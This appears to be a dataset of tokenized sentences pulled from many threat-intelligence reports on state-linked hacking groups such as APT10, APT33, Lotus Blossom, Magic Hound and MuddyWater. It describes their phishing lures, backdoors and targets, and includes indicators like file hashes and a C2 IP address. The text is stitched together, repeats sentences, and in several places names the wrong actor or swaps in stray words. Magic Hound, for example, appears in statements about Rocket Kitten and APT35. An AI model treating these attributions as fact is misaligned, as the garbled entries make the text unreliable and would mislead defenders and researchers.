APT40 has been observed leveraging a variety of techniques for initial compromise , including web server exploitation , phishing campaigns delivering publicly available and custom backdoors , and strategic web compromises .
Depending on placement , a Web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
The Spring Dragon appears to have rolled out a steady mix of exploits against government-related organizations in VN , TW , PH , and other locations over the past few years .
Organizations located in Myanmar and targeted by Spring Dragon have gone unmentioned .
Spring Dragon 's infiltration techniques there were not simply spearphish .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
The well-known threat group called DRAGONFISH or Lotus Blossom are distributing a new form of Elise malware targeting organizations for espionage purposes .
The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea .
iDefense analysts have identified a campaign likely to be targeting members of— or those with affiliation or interest in—the ASEAN Defence Ministers ' Meeting ( ADMM ) .
iDefense analysts have identified a campaign likely to be targeting members of or those with affiliation or interest in the ASEAN Defence Minister 's Meeting ( ADMM ) .
iDefense assesses with high confidence that this campaign is associated with the threat group DRAGONFISH ( also known as Lotus Blossom and Spring Dragon ) .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
This Trojan is related to the Elise backdoor described in the Operation Lotus Blossom report .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
APT threat actors , most likely nation state-sponsored , targeted a diplomat in the French Ministry of Foreign Affairs with a seemingly legitimate invitation to a technology conference in Taiwan .
Additionally , the targeting of a French diplomat based in Taipei , Taiwan aligns with previous targeting by these actors , as does the separate infrastructure .
The Elise malware used by Lotus Blossom , which was an attack campaign on targets in Southeast Asia .
Based on the targeting and lures , Unit 42 assesses that the Lotus Blossom actors ' collection requirements include militaries and government agencies in Southeast Asia .
In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload .
The oldest sample we found was created in 2009 , indicating this tool has been in use for almost seven years .
In addition , Emissary appears to against Taiwan or Hong Kong , all of the decoys are written in Traditional Chinese , and they use themes related to the government or military .
Of note , this is three years earlier than the oldest Elise sample we have found , suggesting this group has been active longer than previously documented .
In addition , we observed a TTP shift post publication with regards to their malware delivery ; they started using compromised but legitimate domains to serve their malware .
All of the Emissary we've collected are written in Traditional Chinese , which is used primarily in Taiwan and Hong Kong .
One of the most interesting observations made during this analysis is that the amount of development effort devoted to Emissary significantly increased after we published our Operation Lotus Blossom report in June 2015 , resulting in many new versions of the Emissary Trojan .
Lotus Blossom targeted the government , higher education , and high tech companies .
Our evidence suggests that malware authors created Emissary as early as 2009 , which suggests that threat actors have relied on this tool as a payload in cyber-espionage attacks for many years .
While it lacks more advanced functionality like screen capturing , it is still able to carry out most tasks desired by threat actors : Exfiltration of files , ability to download and execute additional payloads , and gain remote shell access .
The timeline in Figure 2 shows that the Emissary Trojan was first created ( version 1.0 ) in May 2009 and quickly received an update that resulted in version 1.1 in June 2009 .
Between August and November 2015 the malware author creates several new versions of Emissary , specifically 5.0 , 5.1 , 5.3 and 5.4 in a much more rapid succession compared to development process in earlier versions .
Version 2.0 received one update in October 2013 before the malware author released version 3.0 in December 2014 .
While this may be coincidental , the out-of-sequence version 3.0 sample was created ten days after we published the Operation Lotus Blossom paper that exposed the Elise Trojan that is closely related to Emissary .
The Lotus Blossom largely targets military or government , with some cases of higher education and high tech companies .
The use of Emissary appears to be focused only on Taiwan and Hong Kong , with regular malware updates to avoid detection and to increase the odds of success .
The Lotus Blossom actors using Emissary have been active for at least seven years in Southeast Asia .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Regardless of causation , the rapid development of new versions of Emissary suggests that the malware authors are making frequent modifications to evade detection , which as a corollary suggests the Lotus Blossom are actively using the Emissary Trojan as a payload in attacks .
Link analysis of infrastructure and tools also revealed a potential relationship between Magic Hound and the adversary group called " Rocket Kitten " ( AKA Operation Saffron Rose , Ajax Security Team , Operation Woolen-Goldfish ) as well as an older attack campaign called Newscasters .
In addition to the malware evolution , the actors also shifted from solely spear-phishing targets with attachments to also compromising legitimate websites to host malware .
It is highly likely the Lotus Blossom used spear-phishing attacks containing links to these malicious documents as a delivery mechanism .
We were ultimately able to identify multiple organizations in the government , energy , and technology sectors targeted by Magic Hound .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The MPK bot is not publicly available and had previously been attributed to an adversary group called " Rocket Kitten " which has often been thought to be a state sponsored adversary operating in the Middle East region .
One payload was a Python based open source remote administration tool ( RAT ) called Pupy .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES .
The loader 's main goal was to run a PowerShell command to execute shellcode .
To set up persistence , the loader writes a file to " c:\temp\rr.exe " and executes it with specific command line arguments to create auto run registry keys .
The Magic Hound campaign was also discovered using a custom dropper tool , which we have named MagicHound.DropIt .
We have also seen Magic Hound using DropIt as a binder , specifically dropping a legitimate decoy executable along with the malicious executable onto the target host .
We also found a second IRC bot called MPK using the same IP for its C2 server that a Leash sample was hosted on .
The Magic Hound attack campaign is an active and persistent espionage motivated adversary operating in the Middle East region .
Organizations in the government , energy , and technology sectors have been targeted by Magic Hound , specifically organizations based in or doing business in Saudi Arabia .
At a high level , Retriever is a .NET downloader that downloads secondary payloads from servers associated with Magic Hound .
For example , we analyzed a DropIt sample ( SHA256 : cca268c13885ad5751eb70371bbc9ce8c8795654fedb90d9e3886cbcfe323671 ) that dropped two executables , one of which was saved to " %TEMP%\flash_update.exe " that was a legitimate Flash Player installer .
M-Trends 2018 can arm security teams with the knowledge they need to defend against today 's most often used cyber attacks , as well as lesser seen and emerging threats .
FireEye tracks thousands of threat actors , but pays special attention to state-sponsored attackers who carry out advanced persistent threat ( APT ) attacks .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations with investments in Vietnam , foreign governments , journalists , and Vietnamese dissidents .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
Evidence also suggests that APT32 has targeted network security and technology infrastructure corporations with connections to foreign investors .
Since at least 2014 , APT32 , also known as the OceanLotus Group , has targeted foreign corporations foreign governments .
FireEye asesses that APT32 actors may be aligned with the national interests of Vietnam .
APT32 poses a threat to companies doing business or preparing to invest in Vietnam .
We believe recent activity targeting private interests in Vietnam suggests that APT32 poses a threat to companies doing business or preparing to invest in the country .
DROPSHOT is a notable piece of malware used to deliver variants of the TURNEDUP backdoor .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabia .
APT33 often conducts spear-phishing operations using a built-in phishing module .
Additionally , there is evidence to suggest APT33 targeted Saudi Arabian and Western organizations that provide training , maintenance and support for Saudi Arabia 's military and commercial fleets .
Although we have only observed APT33 use DROPSHOT to deliver TURNEDUP , we have identified multiple DROPSHOT samples in the wild that delivered wiper malware we call SHAPESHIFT .
The SHAPESHIFT wiper is capable of wiping disks and volumes , as well as deleting files .
Ties to SHAPESHIFT suggest that APT33 may engage in destructive operations or shares tools or development resources with an Iranian threat group that conducts destructive operations .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
The HTA files contained job descriptions and links to job postings on popular employment websites .
Since at least 2014 , an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran .
These emails included recruitment-themed lures and links to malicious HTML Application files .
The OilRig group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
APT34 uses a mix of public and non-public tools .
APT34 often uses compromised accounts to conduct spear-phishing operations .
APT33 leverages a mix of public and non-public tools and often conducts spear-phishing operations using a built-in phishing module from " ALFA TEaM Shell " , a publicly available web shell .
In July 2017 , FireEye observed APT34 targeting an organization in the Middle East using the POWRUNER PowerShell-based backdoor and the downloader BONDUPDATER .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
FireEye has identified APT35 operations dating back to 2014 .
APT35 , also known as the Newscaster Team , is a threat group sponsored by the Iranian government that conducts long term , resource-intensive operations to collect strategic intelligence .
APT35 typically targets military , diplomatic and government , media , energy , engineering , business services and telecommunications sectors in U.S. and the Middle East .
APT35 has historically used unsophisticated tools like those listed below in Figure 3 .
APT35 typically targets U.S. and the Middle Eastern military , diplomatic and government personnel , organizations in the media , energy and defense industrial base ( DIB ) , and engineering , business services and telecommunications sectors .
Many of the fake personas utilized by APT35 claimed to be part of news organizations , which led to APT35 being referred to as the Newscaster Team .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
Since at least 2013 , the Iranian threat group FireEye tracks as APT33 has carried out a Cyber Espionage operation to collect information from defense , aerospace and petrochemical organizations .
In early 2017 , Mandiant responded to an incident involving APT35 targeting an energy company .
The attacker used a spear-phishing email containing a link to a fake resume hosted on a legitimate website that had been compromised .
APT35 also installed BROKEYOLK , a custom backdoor , to maintain persistence on the compromised host .
They then proceeded to log directly into the VPN using the credentials of the compromised user .
The resume contained the PupyRAT backdoor , which communicated with known APT35 infrastructure .
Once connected to the VPN , APT35 focused on stealing domain credentials from a Microsoft Active Directory Domain Controller to allow them to authenticate to the single-factor VPN and Office 365 instance .
While having access to the organization 's environment , the Magic Hound targeted data related to entities in the Middle East .
Mandiant has previously observed targeted attackers stealing email , but few threat actors have been as successful at this as APT35 .
The campaigns delivered PupyRAT , an open-source cross-platform remote access trojan ( RAT ) .
Ultimately , APT35 had used access to hundreds of mailboxes to read email communications and steal data related to Middle East organizations , which later became victims of destructive attacks .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
Further analysis revealed a well-established collection of fake social media profiles that appear intended to build trust and rapport with potential victims .
COBALT GYPSY has used spearphishing to target telecommunications , government , defense , oil , and financial services organizations based in or affiliated with the MENA region , identifying individual victims through social media sites .
The connections associated with these profiles indicate the threat actor began using the persona to target organizations in April 2016 .
Between December 28 , 2016 and January 1 , 2017 , CTU researchers observed a phishing campaign targeting Middle Eastern organizations .
The macro ran a PowerShell command that attempted to download additional PowerShell loader scripts for PupyRAT , a research and penetration-testing tool that has been used in attacks .
The survey contained macros that , once enabled , downloaded PupyRAT .
CTU researchers determined that the COBALT GYPSY threat group orchestrated this activity due to the tools , techniques , and procedures ( TTPs ) used in both campaigns .
The Magic Hound has repeatedly used social media to identify and interact with employees at targeted organizations and then used weaponized Excel documents .
The group has repeatedly used social media , particularly LinkedIn , to identify and interact with employees at targeted organizations , and then used weaponized Excel documents to deliver RATs such as PupyRAT .
By compromising a user account that has administrative or elevated access , Magic Hound can quickly access a targeted environment to achieve their objectives .
These characteristics suggest that COBALT GYPSY executed the January and February phishing campaigns and that it created the Mia Ash persona .
CTU researchers have observed multiple COBALT GYPSY campaigns since 2015 and consider it highly likely that the group is associated with Iranian government-directed cyber operations .
The use of the Mia Ash persona demonstrates the creativity and persistence that threat actors employ to compromise targets .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
SecureWorks Counter Threat Unit ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
SecureWorks® Counter Threat Unit™ ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group ( formerly labeled Threat Group-2889 ) .
Since early 2014 , an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection , supported by persistent spear phishing campaigns .
This cyber-espionage group was dubbed ' Rocket Kitten ' , and remains active as of this writing , with reported attacks as recent as October 2015 .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East ( including targets inside Iran itself ) , as well as across Europe and in the United States .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
ClearSky 's September 2014 blog post first described active attacks using a piece of malware they dubbed ' Gholee ' ( as appears in a malicious payload export function , potentially named after a popular Iranian singer9 ) .
The Rocket Kitten attacker group 's main attack vector is spear-phishing .
After learning of an active attack incident from the Rocket Kitten group on a customer network , Check Point researchers decided to actively join the investigation .
As described in previous publications , the Rocket Kitten attackers make extensive use of various phishing schemes .
While the recent paper from Trend Micro and ClearSky ( ' The Spy Kittens Are Back : Rocket Kitten 2 ' ) does extensively cover the campaign 's narrative , we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight .
As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .
Magic Hound will often find simpler ACTs for effective compromise , such as creative phishing and simple custom malware .
We present the connection between Behzad Mesri , an Iranian national recently indicted for his involvement in hacking HBO , and Charming Kitten .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report - " Flying Kitten to Rocket Kitten , A Case of Ambiguity and Shared Code " 3 by Collin Anderson and Claudio Guarnieri .
FireEye 's publication of " Operation Saffron Rose " report , which described Flying Kitten 's operations against aviation firms , led to the dismantling of Flying Kitten 's infrastructure and the apparent end of its activities .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
Charming kitten regularly target international media outlets with Persian-language services .
It was a decoy to make visitor download a " Flash Player " , which was in fact DownPaper malware , analyzed later in this report .
In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .
Wapack labs also observed a similar sample targeting Japan in November .
MenuPass spoofed several sender email addresses to send spear phishing emails , most notably public addresses associated with the Sasakawa Peace Foundation and The White House .
menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns .
There is not much public information about the APT campaign called menuPass ( also known as Stone Panda and APT10 ) .
A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them .
Believed to have started activity in 2009 and to originate from China , the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed .
menuPass has targeted individuals and organizations in Japan since at least 2014 , and as the same organizations and academics were largely targeted each month in these attacks , it further shows menuPass is persistent in attempts to compromise their targets .
menuPass also heavily favors spear phishing , and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy .
menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
PyCommands , meanwhile , are Python scripts that automate tasks for Immunity Debugger , a popular tool for reverse-engineering malware binaries .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
First released in 2005 , the tool has gone unchanged since 2008 with v ersion 2.3.2 .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
APT40 was previously reported as TEMP.Periscope and TEMP.Jumper .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
Attackers can point and click their ACT through a compromised network and exfiltrate data .
Commodity RATs also complicate efforts by security professionals to correlate a threat actor 's activity over time—attackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware .
This report is an initial public release of research PwC UK and BAE Systems have conducted into new , sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan .
Since late 2016 , PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by APT10 .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report , which comprehensively detailed the malware 's functionality and features , and its use by several China-based threat actors , including APT10 .
APT10 primarily used PlugX malware from 2014 to 2016 , progressively improving and deploying newer versions , while simultaneously standardising their command and control function .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
APT10 , a name originally coined by FireEye , is also referred to as Red Apollo by PwC UK , CVNX by BAE Systems , Stone Panda by CrowdStrike , and menuPass Team more broadly in the public domain .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro similarly detailing the use of EvilGrab malware .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB )1 and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
The research and ongoing tracking of APT10 by both PwC UK and BAE .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB ) and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
PwC UK has been engaged in supporting investigations linked to APT10 compromises .
As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 .
Due to the scale of the threat actor 's operations throughout 2016 and 2017 , we similarly assess it currently comprises multiple teams , each responsible for a different section of the day-to-day operations , namely domain registration , infrastructure management , malware development , target operations , and analysis .
APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation , upgrading its capabilities and replatforming to use PlugX .
It is highly likely that this is due to the release of the 2013 FireEye report .
Our report will detail the most recent campaigns conducted by APT10 , including the sustained targeting of MSPs , which we have named Operation Cloud Hopper , and the targeting of a number of Japanese institutions .
MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10 .
Given the level of client network access MSPs have , once APT10 has gained access to a MSP , it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
The command and control ( C2 ) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains .
Several of these provide enterprise services or cloud hosting , supporting our assessment that APT10 are almost certainly targeting MSPs .
The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan .
These aims outlined in the FYP will largely dictate the growth of businesses in China and are , therefore , likely to also form part of Chinese companies ' business strategies .
APT10 has , in the past , primarily been known for its targeting of government and US defence industrial base organisations , with the earliest known date of its activity being in December 2009 .
Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China .
In line with commonly used APT actor methodologies , the threat actor aligns its decoy documents to a topic of interest relevant to the recipient .
This section details changes made to APT10 tools , techniques and procedures ( TTPs ) post-2014 , following its shift from Poison Ivy to PlugX .
We have observed that in cases where APT10 has infiltrated a target via an MSP , it continues to use the MSPs credentials .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware ; the actor also uses these methods to propagate across the network .
The tactical malware , historically EvilGrab , and now ChChes ( and likely also RedLeaves ) , is designed to be lightweight and disposable , often being delivered through spear phishing .
Once executed , tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest .
We have also observed APT10 use DLL search order hijacking and sideloading , to execute some modified versions of open-source tools .
For example , PwC UK has observed APT10 compiling DLLs out of tools , such as Mimikatz and PwDump6 , and using legitimate , signed software , such as Windows Defender to load the malicious payloads .
During our analysis of victim networks , we were able to observe APT10 once again initiate a retooling cycle in late 2016 .
We observed the deployment and testing of multiple versions of Quasar malware , and the introduction of the bespoke malware families ChChes and RedLeaves .
APT10 is a constantly evolving , highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors , enabled by its strategic targeting .
Since exposure of its operations in 2013 , APT10 has made a number of significant changes intended to thwart detection of its campaigns .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
This operation has targeted managed IT service providers , the compromise of which provides APT10 with potential access to thousands of further victims .
An additional campaign has also been observed targeting Japanese entities .
APT10 's malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns ; this is indicative of APT10 's increasing sophistication , which is highly likely to continue .
The threat actor 's known working hours align to Chinese Standard TIME ( CST ) and its targeting corresponds to that of other known China-based threat actors , which supports our assessment that these campaigns are conducted by APT10 .
APT10 ( MenuPass Group ) is a Chinese cyber espionage group that FireEye has tracked since 2009 .
Its targets include the military organizations and governments of countries with national interests in the South China Sea , including some within the U.S. defense industrial base .
Moafee may have chosen its targets based on the rich resources of South China Sea region – the world 's second business sea-lane , according to Wikipedia – including rare earth metals , crude oil , and natural gas .
DragonOK appears to operate out of China 's Jiangsu Province .
Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit MAL ( HTRAN ) – to disguise their geographical locations .
However , FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups .
Both Moafee and DragonOK favor spear-phishing emails as an attack vector , often employing a decoy to deceive the victim .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
We observed Moafee running HTRAN proxies on their multiple Command and Control ( C2 ) servers – all operated on CHINANET , and hosted in Guangdong Province .
Like the Moafee group , we observed DragonOK running HTRAN to proxy their C2 servers , which are also operated on CHINANET but are hosted in the Jiangsu Province .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Security researchers subsequently linked these attacks to a broader , yearlong campaign that targeted not just Israelis but Palestinians as well .
and as discovered later , even the U.S. and UK governments .
The second group , known as DragonOK , targets high-tech and manufacturing companies in Japan and Taiwan .
In 2012 , the Molerats attacks appeared to rely heavily on the XtremeRAT , a freely available tool that is popular with attackers based in the Middle East .
But the group has also used Poison Ivy ( PIVY ) , a RAT more commonly associated with threat actors in China — so much so that PIVY has , inaccurately , become synonymous with all APT attacks linked to China .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective , publicly-available RAT to its arsenal .
We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control ( CnC ) infrastructure used by the Molerats attackers .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
In addition to DustySky , the attackers use publicly available tools such as the following Remote Administration Tools ( RAT ) : Poison Ivy , Nano Core , XtremeRAT , DarkComet and Spy-Net .
DustySky ( called " NeD Worm " by its developer ) is a multi-stage malware in use since May 2015 .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
Operating since 2012 , the Molerats group 's activity has been reported by Norman , Kaspersky , FireEye , and PwC .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
Most targets are from the Middle East : Israel , Egypt , Saudi Arabia , United Arab Emirates and Iraq .
The United States and countries in Europe are targeted as well .
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015 .
The MuddyWater attacks are primarily against Middle Eastern nations .
However , we have also observed attacks against surrounding nations and beyond , including targets in India and the USA .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call " POWERSTATS " .
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East , we were somewhat confused as the previous public reporting had attributed these attacks to FIN7 .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Following the trail of existing public reporting , the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2 , of a non-public tool " DNSMessenger " .
There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 .
The DNSMessenger malware is a shared tool , used by FIN7 , MuddyWater and perhaps other groups .
In September 2018 , we found evidence of Seedworm and the espionage group APT28 ( aka Swallowtail , Fancy Bear ) , on a computer within the Brazil-based embassy of an oil-producing nation .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
During the operations , the group used tools consistent with those leveraged during past intrusions including Powermud , a custom tool used by the Seedworm group , and customized PowerShell , LaZagne , and Crackmapexec scripts .
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control ( C&C ) location .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials .
The group , which we call Seedworm ( aka MuddyWater ) , has been operating since at least 2017 , with its most recent activity observed in December 2018 .
The Seedworm group is the only group known to use the Powermud backdoor .
Additionally , the group compromised organizations in Europe and North America that have ties to the Middle East .
MuddyWater is an Iranian high-profile threat actor that 's been seen active since 2017 .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Depending on each sample , the content of document is either a fake resume application , or a letter from the Ministry of Justice in Lebanon or Saudi Arabia .
